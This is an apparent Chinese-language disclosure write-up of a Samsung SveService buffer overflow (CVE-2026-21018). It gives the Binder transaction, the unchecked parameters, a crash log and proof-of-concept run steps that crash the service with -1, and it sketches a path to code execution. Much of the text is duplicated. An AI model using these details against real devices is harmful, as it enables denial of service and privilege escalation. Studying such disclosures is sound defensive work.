Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
受影响版本:Android 14、15、16
披露状态:私下披露
SveService 在 SMR May-2026 Release 1 之前的版本中存在越界写入,允许本地特权攻击者执行任意代码。
该补丁添加了适当的输入验证。
在运行 Android 16 的三星设备上,系统服务 SveService(com.sec.sve)存在缓冲区溢出漏洞。该服务以 system(UID 1000)身份运行,并且可通过 Binder 无需任何特殊权限访问。
| 组件 | 角色 | 版本 |
|---|---|---|
sveservice.apk | Android 服务 | API 36 |
libsvejni.so | ARM64 原生库 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
在 sveJNISVE_SetCodecInfo(libsvejni.so:0x21710)中,参数 i18、i19、i20(通过 AIDL 以 i106/i107/i108 形式接收,TRANSACTION_sveSetCodecInfo = 38)被直接传递给 memset、sub sp, sp, xN(alloca)和 memcpy,且没有任何大小校验。
类似函数(GetVersion、EnableSRTP、SetSRTPParams、SetGcmSrtpParams)通过 cmp w20, #0x1e; b.gt 进行校验(拒绝大于 30 字节的数据)。而 SetCodecInfo 完全不进行校验。
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF) 时的值Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
预期输出:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
app_process 调用 ServiceManager.getService() 可以以 shell UID 身份工作。signatureOrSystem 权限并未生效——该服务通过 ServiceManager.addService() 直接注册,绕过了 Android 的权限机制。0xFFFFFFFF 的 memset 总会导致崩溃。实现 RCE 需要地址泄漏 + ROP(SM-A175F 上无 PAC)。在运行 Android 16 的三星设备上,系统服务 SveService(com.sec.sve)存在缓冲区溢出漏洞。该服务以 system(UID 1000)身份运行,并且可通过 Binder 无需任何特殊权限访问。
| 组件 | 角色 | 版本 |
|---|---|---|
sveservice.apk | Android 服务 | API 36 |
libsvejni.so | ARM64 原生库 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
在 sveJNISVE_SetCodecInfo(libsvejni.so:0x21710)中,参数 i18、i19、i20(通过 AIDL 以 i106/i107/i108 形式接收,TRANSACTION_sveSetCodecInfo = 38)被直接作为参数用于 memset、sub sp, sp, xN(alloca)和 memcpy,且没有任何大小校验。
类似函数(GetVersion、EnableSRTP、SetSRTPParams、SetGcmSrtpParams)通过 cmp w20, #0x1e; b.gt 进行校验(拒绝大于 30 字节的数据)。SetCodecInfo 不进行任何校验。
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF) 时的值cd poc
./build_and_run.sh
预期输出:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
app_process 调用 ServiceManager.getService() 可以以 shell UID 身份工作。signatureOrSystem 权限并未生效——该服务通过 ServiceManager.addService() 直接注册,绕过了权限检查。0xFFFFFFFF 的 memset 总会导致崩溃。实现 RCE 需要地址泄漏 + ROP(SM-A175F 上无 PAC)。| 操作 | 值 | 效果 |
|---|
(i18 + 15) & ~15 | 0 | 分配 0 字节 |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 尝试将 4 GB 内存清零 → SIGSEGV |
sxtw(i18) 用于 memcpy | 0xFFFFFFFFFFFFFFFF | -1 符号扩展 → 约 18 EB |
| 操作 | 值 | 效果 |
|---|
(i18 + 15) & ~15 | 0 | 分配 0 字节 |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 尝试将 4 GB 内存清零 → SIGSEGV |
sxtw(i18) 用于 memcpy | 0xFFFFFFFFFFFFFFFF | -1 符号扩展 → 约 18 EB |